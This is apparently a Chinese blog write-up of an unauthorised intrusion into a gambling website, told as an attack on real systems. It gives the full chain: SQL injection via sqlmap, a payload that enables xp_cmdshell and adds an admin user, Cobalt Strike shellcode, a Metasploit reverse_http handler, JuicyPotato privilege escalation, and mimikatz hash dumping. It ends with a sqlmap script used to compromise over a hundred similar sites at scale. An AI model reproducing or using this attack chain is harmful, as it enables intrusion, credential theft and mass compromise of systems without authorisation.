我们的小团队对偶然发现的bc站点进行的渗透,从一开始只有sqlmap反弹的无回显os-shell到CS上线,到配合MSF上传脏土豆提权,到拿下SYSTEM权限的过程,分享记录一下渗透过程
看到登录框没什么好说的,先试试sqlmap一把梭
burp抓包登录请求,保存到文件直接跑一下试试
python3 sqlmap.py -r "2.txt"
有盲注和堆叠注入
看看能不能直接用sqlmap拿shell
python3 sqlmap.py -r "2.txt" --os-shell
目测不行
提示的是xp_cmdshell
未开启,由于之前扫出来有堆叠注入,尝试运用存储过程打开xp_cmdshell
Payload:
userName=admin';exec sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure'xp_cmdshell', 1;RECONFIGURE;WAITFOR DELAY '0:0:15' --&password=123
延时15秒,执行成功(如果没有堆叠注入就把每个语句拆开一句一句执行,效果理论上应该是一样的)
顺便试试看直接用xp_cmdshell
来加用户提权,构造payload(注意密码别设太简单,windows系统貌似对密码强度有要求,设太简单可能会失败)
userName=admin';exec xp_cmdshell 'net user cmdshell Test ZjZ0ErUwPcxRsgG8E3hL /add';exec master..xp_cmdshell 'net localgroup administrators Test /add';WAITFOR DELAY '0:0:15' --&password=123
nmap扫了一下,目标的3389是开着的,mstsc.exe
直接连
没连上
再跑一下os-shell,发现能跑绝对路径了,好兆头
成功弹出shell
因为是盲注,所以执行whoami
之类的命令各种没回显,于是直接来个CS的shellcode
生成的shellcode直接粘贴进os-shell里回车
然后CS里啪的一下就上线了,很快啊.赶紧喊几个不讲武德的年轻人上线打牌
tasklist
看一下进程,有阿里云盾,有点难搞
systeminfo
看看有什么
阿里云的服务器,版本windows server 2008 R2
打了75个补丁
whoami
一下,目测数据库被做过降权,nt service
权限,非常低
尝试传个ms-16-032
的exp上去,直接上传失败
到这里,CS的作用已经极其有限了.CS也就图一乐,真渗透还得靠MSF
在CS上开一个监听器
修改一下frp的配置文件
保存配置文件后在frp文件夹下启动frp
打开msf开启监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set LHOST 127.0.0.1
set LPORT 9996
run
这里可以看到MSF已经开启监听了
回到CS,右键选一个主机增加一个会话
选择刚创建好的监听器,choose
回到msf,session啪的一下就弹回来了,很快啊
我们进shell看一下,实际上就是接管了CS的beacon,依然是低权限
在本地准备好一个烂土豆的EXP(注意windows路径多加个斜杠,虽然也可以不加,但试了几台机子发现加了成功率高,不知道什么原理)
upload /root/EXP/JuicyPotato/potato.exe C:\\Users\\Public
CS翻一下目标机器的文件,发现成功上传
然后进目标机器的这个文件夹下开始准备提权
cd C:\\Users\\Public
use incognito
execute -cH -f ./potato.exe
list_tokens -u
复制administrator的令牌
impersonate_token "administrator的令牌"
最后检查一下是否提权成功
先提个权
试试能不能直接dump出来
不行,只好用mimikatz了
然后抓取密码哈希
mimikatz_command -f samdump::hashes
也可以用MSF自带的模块(这个比mimikatz慢一点)
run post/windows/gather/smart_hashdump
然后丢到CMD5解密,如果是弱口令可以解出账户密码,这次运气比较好,是个弱口令,直接解出了密码,然后mstsc.exe
直接连,成功上桌面
成功获取到目标最高权限之后,尝试通过信息收集获取其他相类似的站点进行批量化攻击.
@crow师傅提取了该网站的CMS特征写了一个fofa脚本批量扫描,最终得到了1900+个站点
但由于bc站往往打一枪换一个地方,这些域名往往大部分是不可用的,因此需要再确认域名的存活状态,使用脚本最终得到了一百多个存活域名
在使用脚本批量访问带漏洞的URL,把生成的request利用多线程脚本批量发起请求去跑这个请求
python3 sqlmap.py -r "{0}" --dbms="Microsoft SQL Server" --batch --os-shell
最终得到可以弹出os-shell的主机,再通过手工注入shellcode,最终得到大量的上线主机
用数据库里查出来的管理员账号密码登录网站后台看一看
20个人充值了80多万
还有人的游戏账号叫"锦绣前程",殊不知网赌就是在葬送自己的前程!
劝大家远离赌博,也希望陷进去的赌徒回头是岸!